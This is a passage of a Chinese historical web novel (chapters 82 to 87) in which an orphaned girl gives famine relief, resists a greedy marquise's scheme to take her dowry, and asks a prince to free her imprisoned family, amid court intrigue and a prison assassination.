《国公恶女回府,全家跪求我原谅》 第八十二章救人 “可不就是这个理,走,现在就去接人。” 吴惠兰已经迫不及待了,比之娶四下悬赏追拿的凤南蓉,娶人人不知的凤南茵更好。 这种没有根底,又没有背景靠山的儿媳妇,只要马婚,嫁妆立即入公中,这人哪天死,怎么死还不都是她说了算。 人没了,侯府又得了银钱,儿子再娶高门得助力向上爬,侯府还怕不再兴旺几十年? 她的算盘打得劈啪作响,还没有见到凤南茵,就已经将她当作死人了。 凤南蓉随舅母坐上马车,直奔保和堂。 她唇角勾着笑,心下合计着,凤南茵寻回国公府还真是时候。 说不定,她就是自己的贵人,不但助她逃离京城,如今还能替她挡灾。 “妹妹呀,妹妹,你可别怪姐姐心狠,唯有如此,才能让我摆脱舅母的纠缠。至于你,你要怎么摆脱掉与表哥的亲事,那可不关我的事情了。” 凤南茵近日忙着救济百姓,每日都往城外跑,小脸都被吹红了。 今天他们要去的是十里外的问君亭,那里寄居了十三名奄奄一息,被官府从流民圈里赶出来的百姓。 这些人身上都染了很重的风寒症,这病初发的时候,身体素质好的人睡一觉就扛过去了。 可眼下这十三人皆病得奄奄一息,官府也不为其救治,就让他们自生自灭,只要不传染更多的人,死几个人他们根本不在乎。 现在城外的乱象基本得到了控制,百姓晓得每日都能领到粥,也不再哄抢,乖乖等着分发就好。 所以凤南茵他们出去也没了危险,这日备足了吃食和药品,一早便出了门。 问君亭,不知多久没有文人墨客来过此处话别。 如今这里被人用破麻袋简单围起来遮挡风雪,数九寒天,十几人东倒西歪躺在冰寒的地上。 他们早已经认命,苟延残喘不过是等时间,等着阎王派人来收他们。 凤南茵他们到的时候,里面丢出一人,那人刚刚咽下最后一口气,丢出来不过是多腾出一点空间,让还活着的人在死前能伸直腿罢了。 这些人面对同伴离世,冷漠得没掉一滴泪,因为那不过是他们的结局,谁又可怜他们一下呢。 凤南茵走近时,就见十几人蜷缩依偎着。 男女老少皆有,有的睁着空洞的眼睛,有的像是已经死了。 看着他们冻得乌青的脸,忙对跟上来的人吩咐,“快,将熬煮好的姜丝米粥分给他们。” 天气这样的冷,这些人穿着破旧的单衣,挨坐在地上,该是怎样的煎熬。 粥桶被提上来,一半的人已经没力气过来争抢。 “喝一点粥暖暖身子,里面放了姜丝,能让你们好受些。” 凤南茵亲自盛了一碗,递在闭目的妇人身前。 “婶子?” 妇人面对米粥一动不动,可当她到近前时,忽然被攥住了手腕。 “公子,我要死了,就不浪费你的粮食了,救救我的女儿,她还那么小。” 凤南茵蹙眉,看向妇人怀里依偎的少女,枯瘦如柴,一张小脸早已经冻的没了血色,听到她娘的话,呜咽哭出声。 “娘,不要抛弃水水,你若是走了,我不也想活了。” “不,一定要好好活下去,一定要好好活下去。” 凤南茵见母女如此,叹了一口气,强行将粥碗递到妇人唇边。 都是饿得久的人,米汤都忘记是什么味了,当那浓香入到唇里,哪还忍得住。 妇人已经没力气了,就着凤南茵的手,大口大口吞咽,可她只喝了一半,便忍住了。 “剩下的给我女儿吧,死前能喝到一口热的,我已经知足了。” 凤南茵声音极轻,柔声道:“别担心,备了很多,你们十几人喝不完的。” “把粥喝了,过一会还有馒头,等你们吃完,我给你们把脉,我带了药,会将你们都救下来的。” 叫水水的女孩一下子跪下去,对着凤南茵用力的磕头。 “公子,求求你救救我娘,求求你。” 凤南茵将她搀扶起来,问:“可还有力气?我带来的人不多,你喂你娘吃粥,我去帮别人。” 少女抹了一把眼泪,接过粥碗。 “娘,快吃,公子带来好多好多吃食,不用省了。” 妇人早已经干涸的双眼忽然就涌出泪,一边吃着粥,一边由着泪落到碗里。 “水儿,你也吃,娘还能撑着。” 叫水水的女孩子听话地一口将粥喝干,很快又盛了一碗,母女二人,你一口我一口吃着,眼中终于有了一丝神采。 凤南茵叹了一口气,只有真正挨过饿的人才懂得,即将饿死是什么滋味。 她送过来的粥里不但加了姜丝,还加了盐巴,这些都能让她们的身子尽快的好受一些。 只是一碗粥而已,刚还奄奄一息等死的人,很快都恢复了力气,跪在地上向凤南茵磕头。 “谢谢公子,咱们都是官府驱逐出来的人,还以为只有等死的份,能再吃上一口热的,死也无憾了。” 凤南茵心下难过,官府怎么可以这样狠心,这都是活生生的人命啊,就这样驱逐了。 “刘叔,我们既然来救他们,就该救人救到底,他们在这里寄居,早晚会冻死的。” 刘长山蹙眉,“如今官府管制,流民只能在固定的聚集点,即便他们借宿在乡里,没有户籍一样得不到施舍。” 凤南茵知道,这样被抛弃舍掉的流民会越来越多,官府做事,能走过场不饿死当地居民就不错了,外来逃荒的百姓根本不想管。 “将他们送到师伯的药庄上吧,他们的口粮我出。” “?冬,你可知现在多养一个人,成本有多高?”何况这只是开始。 “我知道,等他们身体好转了,我会给他们一点费用,让他们返程。” 刘长山无奈地摇头,“宫大夫是真疼你,叫咱们什么都听你的,你这股子善心,怕是早晚有一天得把保和堂救济进去。” 凤南茵知道她在做什么,她绝对不会让师伯的产业败光在自己手中的。 他们来时坐了两辆马车,走时刚好将十二人全部拉下。 死掉的那人,凤南茵想给他一份体面,叫了同行来的二人回去买了草席,挖一个坑将人埋了。 安排妥帖,已经过了午饭吃饭的时间,凤南茵手里拿了一个黑馍啃着,准备回城。 周水儿裹着凤南茵给的外氅跑出来,跪在地上。 “公子,娘亲说,救命之恩无以为报,叫水水从此跟在公子身边,报答公子。” 凤南茵轻叹一声,将人搀扶起来。 “好好照顾你娘,好好活下去,我不求你们回报。” “可……” 凤南茵用袖子擦了擦周水儿脸上的泪,“我会再叫人给你们送避寒的衣物,安心养病,不要有负担,不会再挨饿了。” 她坐上马车,周水水又追了上来。 “我能知道您叫什么吗?我们总要知道恩人的姓名才行啊!” 第八十三章以势压人 凤南茵救人就没想过要回报,她只是觉得世间之死,活活饿死最是绝望的。 这些穷苦人靠天吃饭,一辈子的命运都不能掌握在自己手中,她感同身受那种无能有多难过。 看着小姑娘充满希冀的眼睛,她道:“保和堂,是城中保和堂救了你们,你不用只感激我。” 周水水紧了紧身上的大氅,直到马车再也看不见,她轻轻抚摸那件斗篷。 “但我知道,是你救了我们,我会一辈子记住这个恩情的。” 今天凤南茵的心情极好,因为她一下子救下十二人。 回到铺子,门前停着一辆奢华的马车,如今城中秩序稳定,店里的生意也恢复了正常。 凤南茵怕师伯一人忙不过来,忙进去帮忙。 迎面,看到凤南蓉立在堂中。 “你怎么在这。” 不是说好二人从此再不往来,才几天,又跑来碍眼。 凤南蓉还没开口,吴惠兰先注意到了她。 “哎呦,你就是?冬吧,瞧瞧生的这股子机灵劲就招人喜欢。” 她拉起凤南茵的手,从脸打量到脚,又从脚打量到腰身,眼里有一丝嫌弃,却笑得嘴角咧开。 “?冬,舅母今天才知道你的存在,怪舅母来接你晚了吗?” 吴惠兰本就长着一张刻薄的嘴脸,这样虚伪的笑一点不适合她。 凤南茵从心底厌恶她们,可教养让她不可对长辈无礼。 于是勉强道:“见过侯夫人。” 她一张小脸寡淡,态度极为疏离。 吴惠兰见她这般不识抬举,脸上撑着的笑差点没挂住。 “还叫什么夫人,你随南……你随宝珠一起叫我舅母,今日我来,就是接你回去,有侯府在,哪能让你宿在外面,这成什么样子。” 吴惠兰心底嫌弃,可架不住这是一个金疙瘩,只要值钱,她就有全部的耐心。 凤南茵忙往后退,这什么情况? 事出反常必有妖,侯夫人一心想将凤南蓉这个拖累赶出府,今日竟然主动来接她这个拖油瓶? 她瞥了一眼对方,后者脸上挂着看不明的笑,让凤南茵的心底更加不安了。 “夫人,您的好意我心领了,我早已决定随师伯在此学医,有师伯照顾不会受苦。若您日后有个头疼脑热,?冬可过府为您免费诊治,就不随您回去了。” 宫良也道:“侯夫人,老朽早说过?冬不会随您回去,叫您不必在此多等。” 刚还一脸笑容的吴氏,忽然就变了脸,根本不许人忤逆她半分。 “你住口,你算是个什么东西,你拿什么身份来与我说话。” “?冬,我们才是实在亲戚,你年纪小,可不能让坏人给骗了,快随舅母回家,我这么做可都是为你好。” 吴惠兰说着给带来的婆子使眼色,就要抢人。 凤南茵吓得脸都白了,单手抓着宫良。 “你们做什么?” 宫良也意识到了不对,上前挡了一步。 “夫人这是做什么,孩子不想与你回府,你怎么还用抢的?” “老头,劝你实相一点,再敢拦着咱们带人回府,我就让官兵将你抓起来,称你诱拐少年。” 凤南茵再傻也看出了不对,她今天要是跟着吴氏回侯府,日后定不会有好日子。 今天她说什么也不能离开保和堂。 “侯夫人,你有权势可以污蔑人,但你不能污蔑我师伯,我才是当事人,我能替师伯作证。” 吴惠兰虚眯了眼,好一个不识好歹的贱货。 “?冬,你年纪小,又被蛊惑,你的话又怎么能当证供。” 她抬手看着自己修剪修长的指甲,得意地吹了吹。 “再说你忘了,有侯爷在,这件事由得你犟嘴吗?” 她的言外之意,自家侯爷可是石门府的通判,她就不信谁敢将侯府的事情闹到官府去。 吴惠兰身边婆子冷笑,“宫大夫,你说你这生意做的好好的,干嘛给自己招惹祸事呢,咱们夫人要和自己的亲侄女相认,带她回侯府享福,你千拦万挡,这说破了天也是你的不是啊!” 宫良也是在宫中混迹多载的人,怎么看不出侯夫人的目的不纯。 “今天你们说破了天也无用,就算承阳侯将我下大狱,只要这孩子不想与你回去,我便不会答应你们。” 吴惠兰一声厉喝,“好一个敬酒不吃,吃罚酒。” “来呀,现在就去府衙报官,保和堂诱拐人口,私下买卖,今日我就叫你永远后悔,敢与侯府作对,就要知道后果。” 凤南茵心道坏了。 诱拐人口?她可以极力替师伯辩解,让罪名不成立,可她今天才带了十二人回庄子,这些人若是有人被收买,师伯岂不是受自己牵累,得了无望灾祸? “不要。” “不要去报官。” 吴惠兰得意地看着她,“你看看你,认亲这样大好的事情,非要闹到这等地步,这是何必呢。” 她嘴上说着软和话,心中骂着,“贱蹄子,我还拿捏不了你,早晚有你好受的。” 凤南茵没理会她,直直地盯着凤南蓉。 她到底和侯夫人说了什么,让她执意接自己回去,不惜惊动官府? 难道是她手上的银子? 她真的不想救凤夫人出来了?为了得到那笔银钱,不惜将她卖给吴氏? 她道:“夫人,我并非不想与你回府,我只是怕你不喜欢我,毕竟没有姐姐懂得那么多的规矩,怕惹您不高兴。” “恩,知道错了就好,收拾一下东西,这就跟我回吧。” 那两名婆子又来拽人。 凤南茵身子灵活,绕到柜台后面。 “夫人,您也看出来了,保和堂的药童只我一人,师伯年纪大了,总要给他时间招人。再有,城外还有我的朋友病着,我还要给她去送药,您给我三日时间,三日后,我自己回侯府,可好?” 吴惠兰毕竟身份在那,不好咄咄逼人。 闹了这么一出,这铺子外面可围了人,想着这人也跑不掉,便应承下来。 “说什么傻话呢,你自己回府怎么成,今日初五,初八一早我便派马车来接你,让你风风光光回侯府。” 吴氏志得意满,不再与这些贱民纠缠,回去后她还得想办法劝说一下她的那个逆子。 这亲事虽说走一个过场,可这拜堂成亲也要他心甘情愿才成。 她阴恻恻地对着凤南蓉笑了笑,只要这亲事定下来,那一半的宝贝就得先从外甥女手中套出来才行。 第八十四章寻贵人相帮 他们一走,宫良就将店给关了。 拉着凤南茵到后院,担忧地道:“丫头,我看那侯夫人来者不善,似是在算计什么阴谋。” 凤南茵虽小,可是早在阿爷离世后,心智就变得谨慎。 侯夫人没把她和师伯放在眼里,那种轻视和算计都没加隐藏,她怎会看不出来。 “我想着,应该是凤南蓉对侯夫人说出我手上有一笔银钱的事情了。” 她苦涩一笑,对那个女子,再没了半分情感,她永远,永远都不会再把她当做姐姐。 “那丫头竟然是这样的人?” 宫良也是生气,“早知她是这样人,当初就不该收留她!” 凤南茵暗忖:是啊,早知她这样自私,为换自己的安生,一再变本加厉。当初她就不该答应夫人带她逃出来。 宫良见她难过,心疼的紧。 “不行,那你更不能回去,这些人根本没有良心,你回去就等于入了狼窝。” “我晓得。” 宫良气得胡子都在抖,双手背在身后来回地踱步。 “她不知你要用这银子救爹娘吗?她自己也有财帛,定是不舍自己的交出去,就让人惦记你这份,小小年纪,怎么如此恶毒。” 他们不知的是,凤南蓉远比他们猜想的还要恶毒,算计的是凤南茵的一辈子。 “丫头,你也别难过,不行这银子咱不要了,她不是图你的银子吗,给她,我就不信没了银子,那女人还要纠缠你 不放。” 他怕凤南茵不舍得,又道:“师伯的家当比你手上这些多多了,都给你,够你富贵一世。” 凤南茵晓得师伯为了她什么都舍得,但她不想让师伯为了自己晚年失了安逸。 “师伯,我想要去一趟天香楼,我想找魏公子打听一下情况。” 宫良蹙眉,他对那纨绔公子的印象不好,不想丫头与他有过多牵扯。 “关于国公爷的案子?” 凤南茵点头。 “那侯夫人上门欺负人,还不是仗着我没有双亲在身边,若是凤夫人能被救出来了,她就再也不能强行拉我回侯府寄居了。” 宫良叹息,“安国公已经被定罪,此罪可大可小,若朝中有人说情,也许能饶了家人无罪,过去这么多天了,去问问也好。” 他又道:“丫头,你要有心理准备,若此事不成,这石门府你便不回来了吧。” 凤南茵瞪大美眸,“那怎么行,我若不回来,那侯夫人定然找保和堂的麻烦,我不能让师伯您受牵连。” “傻丫头,她再想搞我,终究是妇人,我在这石门府定居十数年,怎么可能没半点关系,放心,保和堂是整个冀州杏林之首,没那么容易被人搞垮的。” 凤南茵不信,她怕师伯为了安她的心,在诓骗她。 宫良对她招了招手,将她带进自己的房间。 慢慢挪开木床,下面的木板竟然是活动的。 打开上面的盖板,里面是一个漆黑无比的洞。 宫良拿了蜡烛给她,“你下去瞧瞧,师伯可有骗你?” 凤南茵不解,还是听话的照做了,下面的石室不大,摆了三口大箱子,箱子上上了锁。 宫良随后下来,拿出钥匙打开来。 第一口箱子打开,里面全是黄澄澄的金子。 宫良道:“这三箱是七千五百两黄金,放在这里多年了。这只是我的家资一小部分。师伯不是想和你炫耀,只想告诉你,放心去做你想做的事,师伯没有后人,你是我师弟养大的孩子,就是我的孩子,我绝对不会让你陷入危难境地。” “师伯。” 一瞬间,凤南茵的脸上流满泪水,她拼命地擦,可是眼泪怎么都止不住。 她在夜里也常难过,难过为所经历的一切不甘心,难过没了阿爷。 如今师伯待她如阿爷一样好,她又有家,又有亲人了。 她努力吸了吸鼻子,让自己看起来很好。 “师伯,我找魏锦还有一个原因,我们保和堂救了也有小一百人了,原本我们只是默默行善不图回报,可现在我想要声望,让府台大人都看重您的声望。若是您乐善好施的名头传出去,就算是承阳侯是不是都不敢轻易动您了。” 宫良捋着胡子,轻轻颔首。 “声望累积是好,若是能带动更多的人行善,就更好了。” “走,师伯陪你一同进京,让人传话太慢,我们直接去京城寻人。咱们在京城慢慢操作这事,事不成之前暂不回来,看那侯夫人又能拿咱们如何。” “恩。” 凤南茵露出灿烂的笑,“咱们现在惹不起她,还躲不起,真以为咱们朝中无人,我可是救了靖王的左膀右臂,这北庆最最有钱的奚大公子性命。” 宫良爱怜地拍了拍她的肩膀,“谁说咱们小丫头命格不好,我看你,天生就是福贵命,认识的全是大人物,可比你那个一无事处,只会算计人的姐姐命好太多。” “咱们茵丫头命中全是贵人。” “嘻嘻!” 有师伯的宽慰,凤南茵再也不觉得自己命运多舛,是个不祥的人了。 爷孙俩说走就走,直奔京城。 凤南茵手中有魏锦的信物,到了太尉府前将折扇递给门房。 “小哥,这是魏公子给我的信物,不知魏锦可在府上?” 门房的人见她豆丁一点大,敢说是他们公子朋友,刚想撵人。 打开手中折扇,是名师大家所作的“江南烟雨图”,这是他们公子惯不离手的宝贝,当即不敢小瞧眼前人。 “小公子,咱们锦公子这两日未曾回府,不知你贵姓,等公子回来,小的可代为通传。” 宫良最知这些看门狗的嘴脸,拿出一锭银子压在他手上。 “咱们是魏公子重要朋友,老夫晓得府上定有知锦公子去处的下人,劳烦让人带个话,咱们有要事寻他。” “这……” 小厮看着手中五两银子,一时间不知要不要答应,因为他就是那个知道公子去处的人。 凤南茵啪地一甩折扇,“你不告诉我,我也有办法能寻到人,到时候别怪我在锦哥哥面前给你穿小鞋。” 宫良也是背了双手,傲然道:“咱们就宿在莱安客栈,咱们在那等人。” 祖孙二人说完就走了,那架势不是一般的狂傲。 太尉府每日都有不下数十人想求见太尉,没一个这样横的。 他犹豫一瞬,扭头去寻人。 魏锦这几日都在南城别苑,这里是靖王的私宅,他们正在密谋一件事。 刚好是关于安国公案子一事。 花之这时进来,对几位爷见了礼,在魏锦面前回道:“公子,盛小公子来京城了,拿了您给的折扇寻到了府上,叫下人带话,说寻您有要事。” 靖王龙章凤姿坐在上首,下人进来时,交谈便停止了。 这会听到花之传话,不由得轻笑一声。 “当初本王赠她鹡鸰珠子,便是给她一次相求的机会,她将本王的人情用一百两给卖了,本王竟不知我的人情还不及魏锦你的大。” 魏锦倒也不怕靖王打趣,笑称。 “此一时彼一时,那会小丫头穷困潦倒,一百两能救她的命,于她而言,还是王爷您的珠子更贵重。” “巧舌如簧。” 时景轩起身,掸了掸袍服上的褶皱。 “那事也算是商议出一个结果,今日刚巧无事,趁着这个机会见见她,算是还她救子明的人情。” 魏锦敛眸,心道:小丫头,你时运还真不是般的好,你的事,刚好是靖王看重之事。 待此事解决后,她也该不用受苦了吧。 第八十五章本王欠你的人情可都还了 靖王出面,自然不可能去客栈赴约。 京城有家浮春雅苑,里面环境清幽,占地极大,私密性极佳,每一个雅间都用无数绿植及假山流水隔开,水声潺潺,乐音四起。 客人即便畅饮,也难听到隔壁包房所谈之事,且这里不接待平民,能在此处消费的人,都要有一定的身份,可不单单有钱便能入的,必须有这里发的身份牌才成。 不过这样高档贵气的场所,自然不可能只卖酒水,这里只有你想不到的节目,没有他们不具备的玩法。 每日进账的银子如流水一般,饶是消费之高,却是一牌难求。 无人晓得这雅苑背后主子是谁,靖王却无需亮出身份,只马车往后门一停,便有一队玄衣美男列队招待,直引最深处的室,随即各色外面见不到的果子,点心陆续摆上桌。 凤南茵被带进来时,一双眼睛都不够看了,宫良也从未听说过这地,一人好奇,一人全身拘禁。 穿廊过桥,周边景致如画,若不是晓得外面正值腊月,只以为到了春天。 花之在雅室外守着,他认得二人,无需废话直接引二人进去。 “主子在内里等候多时,二位请随我来。” 宫良颔首,带着凤南茵走去。 他见到靖王忙要行礼问安,被时景轩虚抬了手制止。 “在这里无需多礼,坐。” 宫良一时踌躇,他在宫中行走多年,对皇家人伏小做低刻画进了骨子里,哪敢真坐,立在那里很是拘禁。 凤南茵扯了扯他的衣角,“师伯,还是听王爷的,坐下谈吧。” 时景轩将面前的葡萄推了推,“尝尝,这年月难得的果子。” 凤南茵都快忘了葡萄是什么味了,满桌的果点她都叫不出名字,晶莹剔透的引人垂涎。 可她这会又哪里有胃口。 靖王天生俊眉朗目,自带疏离冷漠气质,尤其是敛眸之时,让人不好与之搭话,周身上下皆是冷漠气息。 上位者的威势压着凤南茵伸手捏了一颗葡萄放在嘴里。 果香溢满口腔,略带酸意的甜让人着迷。 时景轩见她小脸生动的变化,忍不住呵笑一声。 “上次亏得你,让子明捡回一条命,他的情本王替还了,说吧,你想要什么?” 他没给凤南茵开口机会,主动问:“黄金万两,南珠一匣如何?” 凤南茵眼中刚刚出现诧异,靖王就否决了。 “不成,魏锦与本王说过,国公夫人给你留了丰厚嫁妆,想来万两黄金并不是你最想要的。” 他又问:“你如今宿在保和堂,可终是躲不开女大当嫁,不如本王为你寻一个新身份,保证配得上京城最高门第,可好?” 凤南茵轻浅皱眉,时景轩立即又改了口。 “你年岁尚小,可也该为自己将来做打算,若眼下你不想这些,本王也可将你在石门府救治百姓一事上奏朝廷,命你为天下女子之表率,封个县子也是可以,从此可单立门户,终身享受食邑,生活安泰。” 除了第一点,后两点宫良都心动了。 万万没想到茵丫头有这等造化,无论是改换身份嫁高门,还是封县主都能改变南茵眼下的困局。 他看着侄孙女,等着她做选择。 魏锦也在看她,无论她用这份人情讨要哪份恩典,都赚大了。 凤南茵却是白了靖王一眼,转头与魏锦对视在一处。 “先前你说的话不作数了?还是一直诓骗我?” 魏锦苦笑,“你就这么不信我?” 靖王咳了一声,又道:“你所求一事魏锦与我说过了,本王能帮你将人救出来,但你要清楚,他们被放出来后,也会削去爵位,成为庶民,而你再想嫁好人家便不能了。” 凤南茵直视他,“王爷眼中的好人家,在小女并不向往。比起深宅大院的压抑,依附男人给予的荣辱,我更向往救世济人,无拘束的生活。” “那为你请封县主不是更好?不过如此一来,你的家人年后便要流放苦寒之地,一生不得回京。” 凤南茵抿着唇,缓缓跪了下去。 她轻轻叩首,“人若忘了生养之恩不如牲畜,我愿放弃荣华,换家人平安。” “可他们并没有养你,你不顾念他们无人说你不是。” 凤南茵没有半分犹豫,道:“前所承受的波折,我皆可受,只求食饱衣暖,举目有亲,求靖王帮我将安国公府无辜家人救出,此恩情小女铭记一辈子。” 她言辞恳切,态度坚决,澄澈的眸子直直盯着靖王。 有一瞬间,时景轩的心狠狠波动了一下。 他双手对在一起欣赏地拍了拍,“有情有义,我时景轩没看错人。” 这一刻,小丫头的坚定赢得他的尊重,不再试探她。 眼前的少女能放弃切身利益,只为对她并没有恩情的家人,这份人品便让他刮目相待。 “既然你目的明确,本王助你心想事成,你只需静待迎她们出狱即可。” 凤南茵的眸子一瞬间变得明亮,整张小脸都焕发出一种特别吸引人的神彩。 “真的?” 靖王轻轻靠座,颔首,“说了还你人情,自是要履行诺言。” 凤南茵再次磕头,这一刻她说不出的开心,家人们要出来了,她们再也不用受苦了。 魏锦见小丫头如此感恩,心中忍不住叹息。 明明这一切是靖王早就筹谋好的,凤南茵不开口,国公府也只会一人获罪。 可这丫头偏偏选了一个对自己最不利的,他觉得靖王太腹黑,可又不敢拆穿。 但他不知,此一事,凤南茵赢得了靖王的欣赏。 宫良到底年长,想得比孩子多。 他道:“凤夫人若是个刚硬的性子还好,若是立不起来,怕是要被族人拖累了。” 富贵日子过得久了,普通百姓生活又怎么承受,国公府那几房怕是要将矛头都责怪到凤夫人身上了。 时景轩看向凤南茵:“这是你想要的,凤家人出来后为难你母亲,将来生活捉襟见肘,并不能过你想要的安逸生活,你可会后悔?” 凤南茵摇头:“居安思危,这种意识都没有,只图享乐,日后受苦是他们活该。” 她攥了攥拳头,“我想求靖王一个恩典,若是他们真的找凤夫人麻烦,您能否出面震慑一下?” 靖王看着她这个小小的人竟敢和自己谈条件,还说的那样自然,不由得又生了玩笑之意。 “本王欠你的人情可都还了。” 凤南茵心中冷哼,果然位高权重之人不可交,师伯说的对,全是利益。 “既然王爷帮我是还人情,那你再帮我一次,我欠你一份人情好了。” 宫良扯了扯她,怎可和贵人这般说话。 凤南茵却是初生牛犊不怕虎,大言不惭道:“见血封喉是必死之毒,但我将人救活了,靖王所图之事并不简单,我虽弱,未必不能再帮上您的忙。” 第八十六章安国公被刺杀 浮春雅园的食物很好吃,摆上来了,不吃就会丢掉处理,在这里绝对不存在食品回收一说。 靖王带着人都走了,魏锦给凤南茵使眼色,叫她留下来多吃一些,吃不完可以都带走。 这个举动正合凤南茵心意,桌上的果子可不是有钱就能买到的好东西,爷孙俩好久没尝过果子鲜甜味了,不客气地留下来独享佳肴。 靖王离开,走他固有的专属通道,这份产业是他三年前与奚子明、魏锦共同投资开的,他人常年在边关领兵,京城官员大小把柄却都掌握在他手中。 这里看似清幽,说话不会受人打扰偷听,来这里的人却不知,每一处雅室后面都藏了暗隔,他们所谈都在被人记录了去。 救安国公一事,他迟迟没有动手,就是在等待时机,如今时机成熟,凤家的小丫头便求上门来。 他喜欢运筹帷幄的感觉,今日故意如此试探那丫头,自然是为了拿捏。 不然,互不相欠,这往来不就断了? 走着走着,时景轩感觉到身边过于安静。 平日聒噪的人,这会子竟然没说话。 他忽然顿住了步子,果然,背上被人撞了一下。 “在想什么?” 魏锦揉着鼻子闷哼一声,“王爷,您好端端的干嘛不走了?” 时景轩转回头看他,“你在发什么怔?” 魏锦心中憋着事,南茵那丫头已经很好了,王爷还一再的试探,最后还要她欠个人情才帮忙,那事明明都不需要丫头开口。 可他不能对王爷提出指责。 “只是担心那丫头。” 时景轩莞尔,“所以,你是对那小丫头上了心,见不得本王拿捏她。” “这玩笑可开不得,别坏了人家丫头名声。” 靖王睨了兄弟一眼,“既然不是,你在这里纠结什么。” 魏锦快走两步,与靖王错身并行。 “王爷何必试探她的品行,不计回报救人,不惜自己受苦帮助凤南蓉,还不能说明她良善吗?” 靖王看了看这雅院的景致,三年下来,这里越发曲径通幽,暗香浮动。 “魏锦,本王承认,你眼光很不错,巨大利益在前,那丫头依旧选择救人,她这等品行确实值得本王倾佩。” 而他这样做,其实要的不是凤南茵的人情,而是那个久未露面,云游在外的凤大公子人情。 那是一可用之才,将来必须要为他所用才行。 魏锦担心的其实是人放出来后的事情,一群养尊处优的人,忽然就没了依仗,凤家人的日子怕是不会好过。 小丫头给自己找了一个大麻烦。 这一夜,京城再次飘了雪,扑簌簌垂落,让京城的街道更加寂静,只偶尔传来更声,在这夜间回荡。 大理寺牢房。 凤昌荣关押在单独一间,与他人隔绝开来。 吃住条件勉强过得去,可他人受精神折磨太久,早已经瘦得脱了相。 凤昌荣仰躺在石床上,昼夜瞪着眼睛,他就似被这世间遗忘了一般,无人探视,没有半点外界的消息,活着就在等着哪一日旨意下来,处死。 监牢的门被人打开,让躺着的人骇然一震。 “谁?” 一身玄衣大氅,戴着兜帽的男子走进来,居高临下地看着他。 “凤昌荣,现在给你一个机会,让你的罪行不至于累及族人,你可不愿否?” 凤昌荣被囚的时间太久了,长时间的营养不良,让他的视力都变得昏花,努力擦了擦眼睛,才发现眼前之人戴着面具。 “你是谁?” 男人蹲下身子与他平视,慢慢摘下面罩。 “可还记得本王?” 靖王才从边关回京不久,二人期间有三年未见,凤昌荣怎么都没想到来看他的人,会是靖王。 一时激动,语无伦次。 “靖王,是靖王爷。” 时景轩敢深夜前来,也不怕他这般大呼小叫,守卫的狱卒都被打翻了,没人碍得到他。 “靖王,罪臣有过,求您念在凤氏一族世世代代忠君的份上,给罪臣求一个恩典吧!” 时景轩鄙夷地看着眼前男人,明知有错,却故意而为之,如今还想要恩典,贪生怕死好不知耻。 “凤昌荣,你所犯之罪,足矣连累全族人打入奴籍,想赦免是绝无可能。但你的子女与家人,本王倒是可以搭救一二。” 凤昌荣一屁股跌坐在地,他想不通,自己不过是做了大家都做之事,为何独独他被定罪。 他抓着靖王的衣摆,涕泪横流。 “王爷,看在这些年罪臣孝敬的份上,看在贱内与德妃的情意,求您,救救……” 那个我字没有说出口,手中攥着的衣角被大力抽回。 “凤昌荣,到了这时,你觉得救你无罪,可能吗?” 靖王十分鄙夷这个老东西,若不是死前还有用,这种人不配他多看一眼。 “想想你那二十岁便中了案首的长子,还有你凤家上下一百多口人的性命。” “元日节一过,他们便会流放至苦寒之地,而你与凤子明会被斩首示众,这一切都是你贪心所为。” 凤昌荣只觉得全身血液都凝固。 “不,不该是这样的,我只是贪墨了一点银子,大家都这般做的。” 凤昌荣一直心存侥幸,以为自己少年便跟在天子身侧,迟迟没有定下处罚他的告示,还有转圜余地。 如今希望破灭,整个人呆傻在原地。 靖王也不逼他,等着他想通了配合自己。 片刻后,安国公重新跪下,对时景轩磕了一个头。 “求王爷给个明示,如何救出家人,吾儿还有大好仕途,万万不可受我牵累。” 只要泽宇还有出头之日,他凤家便不会倒…… 当夜,罪犯凤昌荣被人刺杀而死。 牢中狱卒六人均受不同程度伤势,缴获所留羽箭一支,疑似安王手中黑甲卫惯用的武器。 翌日早朝,承德帝得知此事大怒。 “京师重地,天子脚下,竟然有人在狱中杀人,家清泰,你这个大理寺卿是如何监管的?” 家清泰惶恐跪地,额头上皆是汗,颤抖着手高举着半张残破纸张。 “回皇上,臣无用,让监牢重地发生这等事,但事出有因。还请皇上给臣一个奏情的机会。” “说!” 侍卫太监将家清泰高举的纸呈上去,他才颤抖着嗓子道:“凤昌荣死前,曾要过纸笔,说是要检举揭发,以求减轻罪名。” “微臣便命人给他递了纸笔,可他一连多日都没有书写任何东西,微臣便把这事放下了。” “没曾想,就出了刺杀一事。” 他额头的汗不停地滑落,哆嗦着手,手指都在颤抖。 “那纸,那纸是事出后,微臣从凤昌蓉口中掏出来的,怕是天黑牢中光线弱,刺客没有发现。”他说这话时,偷眼打量靖王。 靖王拿捏着他的把柄,他只能赌命陈奏。 皇上看了一眼纸上内容,随即龙颜大变。 半夜纸上潦草几行字,似是没有写完便发现危险,草草塞进口中,部分字迹氤氲模糊,却不难看清所写内容。 “罪臣接管尚酝局典御十五载,共贪墨一百三十三万一千两银子,臣,罪大恶极。但臣有苦难言,这一百三十三万两银子,非臣一人所用,每一季,臣都要向朱家送一万五千两银,一送便是十五载。” 三年天灾,尚酝局贡酒数量不足,所收银两只有从前两成,可朱太傅依旧索要一年六万两的供给银,臣无能,完不成他所愿,他便将臣供出贪墨之罪,为其换人上位。 臣所述证据,皆藏在府中书房地砖下,历年账册皆有明细…… 朱太傅此时还不知大祸临头,嫌弃地看了一眼家清泰,这么个不中用的性子,亏得他一直重用提拔。 不过凤昌荣死了倒是好事,那个碍眼的东西,这些年一直不肯归属朱家,早该让他滚蛋了。 忽然他觉得后背一寒,皇上愤怒的目光就落到了他身上。 “怎么回事?皇上这眼神怎么带着杀气?” 第八十七章一箭双雕,运筹帷幄 承德帝本就忌惮朱家势大,若不是太子这些年身体越发不好,怜皇后担忧太过,日夜憔悴,早就对朱家动手了。 可这位太傅,竟然在暗地里仗着自己是国丈,强行收取贿赂,左右朝臣的仕途,岂有此理! 此时此刻,他既觉得凤昌荣蠢,又觉得朱太傅该死。 有他这个当朝天子在,竟然被一个朝臣拿捏,凤昌荣没有长脑子吗? 承德帝气得太阳穴突突地跳。 那是多少银子? 他在心中默默算着,一年就是六万,十五年下来,足足九十万两。 这只是收取尚酝局典御的银子,旁人的呢? 他甚至都在怀疑,若不是太子身子不好,他贪墨这些银子要做什么? 造反不成! 皇帝生性多疑,这一次能这样相信安国公死前所书,也是因为朱太傅三日前刚刚向皇帝举荐一人补尚酝局典御的空缺。 靖王就是抓住这个机会,对朱家栽赃陷害。 